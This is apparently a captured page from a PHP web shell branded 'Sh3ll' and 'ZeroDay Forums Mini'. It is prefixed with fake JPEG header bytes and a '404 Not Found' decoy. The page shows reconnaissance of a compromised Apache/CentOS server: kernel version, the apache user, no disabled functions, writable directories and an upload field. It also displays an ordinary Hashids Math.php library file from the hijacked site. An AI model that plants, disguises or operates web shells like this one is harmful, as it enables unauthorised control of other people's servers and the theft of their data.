ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/lib/youtube_id/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/lib/youtube_id/Math.php
<?php

/*
 * This file is part of Hashids.
 *
 * (c) Ivan Akimov <ivan@barreleye.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Hashids;

/**
 * This is the math class.
 *
 * @author Vincent Klaiber <hello@vinkla.com>
 */
class Math
{
    /**
     * Add two arbitrary precision numbers.
     *
     * @param int $a
     * @param int $b
     *
     * @return int
     */
    public static function add($a, $b)
    {
        if (function_exists('gmp_add')) {
            return gmp_intval(gmp_add($a, $b));
        }

        return intval(bcadd($a, $b));
    }

    /**
     * Divide two arbitrary precision numbers.
     *
     * @param int $a
     * @param int $b
     *
     * @return int
     */
    public static function divide($a, $b)
    {
        if (function_exists('gmp_div_q')) {
            return gmp_intval(gmp_div_q($a, $b));
        }

        return intval(bcdiv($a, $b));
    }

    /**
     * Raise number into power.
     *
     * @param int $base
     * @param int $exp
     *
     * @return int
     */
    public static function pow($base, $exp)
    {
        if (function_exists('gmp_pow')) {
            return gmp_intval(gmp_pow($base, $exp));
        }

        return pow($base, $exp);
    }
}

ZeroDay Forums Mini